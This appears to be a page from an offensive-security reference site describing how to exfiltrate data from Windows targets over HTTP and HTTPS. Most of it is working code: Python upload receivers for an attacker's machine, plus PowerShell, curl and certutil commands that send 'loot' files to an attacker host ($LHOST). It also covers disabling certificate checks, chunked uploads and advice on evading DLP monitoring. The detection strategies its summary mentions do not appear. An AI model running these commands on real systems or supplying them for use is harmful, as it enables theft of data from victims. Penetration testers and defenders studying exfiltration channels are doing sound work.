# Windows Exfiltration over HTTP and HTTPS

> Covers techniques for exfiltrating data from Windows systems via HTTP/HTTPS, including tools, methods, and detection strategies for outbound data theft.

- **URL:** https://hackindex.io/platforms/windows/data-exfiltration/windows-exfiltration-over-http-and-https
- **Path:** Windows > Data Exfiltration
- **Up:** [Data Exfiltration](https://hackindex.io/platforms/windows/data-exfiltration.md)
- **Published:** 2026-04-04
- **Updated:** 2026-05-15

HTTP and HTTPS are the most reliable exfiltration channels on Windows targets. Outbound port 80 and 443 are open on almost every network. HTTPS in particular blends with normal browser traffic and is rarely inspected in depth.

- HTTP (port 80) works on nearly every network but traffic is visible to inspection
- HTTPS (port 443) blends with normal browser traffic, preferred when DLP or monitoring is present
- Chunked transfer handles large files without loading the entire payload into memory

Use HTTPS when any form of network monitoring or DLP is suspected.

## Receiving files on your attack box

Set up a server on your attack box before initiating any transfer from the target.

**HTTP upload receiver on attack box**

```bash
# Simple Python upload server: accepts PUT and POST
python3 -c "
import http.server, os
class H(http.server.BaseHTTPRequestHandler):
    def do_PUT(self):
        l = int(self.headers['Content-Length'])
        d = self.rfile.read(l)
        f = os.path.basename(self.path)
        open(f,'wb').write(d)
        self.send_response(200); self.end_headers()
        print(f'Received: {f} ({len(d)} bytes)')
    def do_POST(self):
        self.do_PUT()
http.server.HTTPServer(('0.0.0.0',8080),H).serve_forever()
"

# Or use uploadserver pip package
pipx install uploadserver
python3 -m uploadserver 8080
```

## Uploading from the target

**HTTP upload from Windows target**

```powershell
# PowerShell WebClient PUT
$wc = New-Object System.Net.WebClient
$wc.UploadFile('http://$LHOST:8080/loot.zip', 'PUT', 'C:\Windows\Temp\loot.zip')

# Invoke-WebRequest POST
Invoke-WebRequest -Uri 'http://$LHOST:8080/loot.zip' -Method PUT -InFile 'C:\Windows\Temp\loot.zip'

# curl (available on Windows 10 1803 and later)
curl -X PUT http://$LHOST:8080/loot.zip -T C:\Windows\Temp\loot.zip

# certutil base64 encode and POST (fallback when binary transfer is blocked)
certutil -encode C:\Windows\Temp\loot.zip C:\Windows\Temp\loot.b64
$b64 = Get-Content C:\Windows\Temp\loot.b64 -Raw
Invoke-WebRequest -Uri 'http://$LHOST:8080/loot.b64' -Method POST -Body $b64
```

## HTTPS exfiltration

Use HTTPS when HTTP traffic is monitored or filtered. A self-signed certificate is sufficient: the goal is encryption of the payload, not certificate validation.

**HTTPS server on attack box**

```bash
# Generate self-signed certificate
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 1 -nodes -subj "/CN=localhost"

# Python HTTPS upload server
python3 -c "
import http.server, ssl, os
class H(http.server.BaseHTTPRequestHandler):
    def do_PUT(self):
        l = int(self.headers['Content-Length'])
        d = self.rfile.read(l)
        f = os.path.basename(self.path)
        open(f,'wb').write(d)
        self.send_response(200); self.end_headers()
srv = http.server.HTTPServer(('0.0.0.0',443),H)
ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
ctx.load_cert_chain('cert.pem','key.pem')
srv.socket = ctx.wrap_socket(srv.socket,server_side=True)
srv.serve_forever()
"
```

**HTTPS upload from Windows target**

```powershell
# Ignore certificate errors for self-signed cert
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}

$wc = New-Object System.Net.WebClient
$wc.UploadFile('https://$LHOST/loot.zip', 'PUT', 'C:\Windows\Temp\loot.zip')

# curl with insecure flag
curl -k -X PUT https://$LHOST/loot.zip -T C:\Windows\Temp\loot.zip
```

## Chunked transfer for large files

When file size or connection timeouts are a concern, split the archive into chunks and send each separately.

```powershell
# Split file into 10MB chunks
$file = [System.IO.File]::ReadAllBytes('C:\Windows\Temp\loot.zip')
$chunkSize = 10MB
$chunks = [Math]::Ceiling($file.Length / $chunkSize)
for ($i = 0; $i -lt $chunks; $i++) {
    $start = $i * $chunkSize
    $length = [Math]::Min($chunkSize, $file.Length - $start)
    $chunk = $file[$start..($start + $length - 1)]
    [System.IO.File]::WriteAllBytes("C:\Windows\Temp\chunk_$i.bin", $chunk)
    $wc = New-Object System.Net.WebClient
    $wc.UploadFile("http://$LHOST:8080/chunk_$i.bin", 'PUT', "C:\Windows\Temp\chunk_$i.bin")
    Remove-Item "C:\Windows\Temp\chunk_$i.bin"
}
```

**Reassemble chunks on attack box**

```bash
# Reassemble in order
cat chunk_0.bin chunk_1.bin chunk_2.bin > loot.zip

# Or with find for many chunks
for i in $(seq 0 $(($(ls chunk_*.bin | wc -l)-1))); do cat chunk_$i.bin; done > loot.zip
```
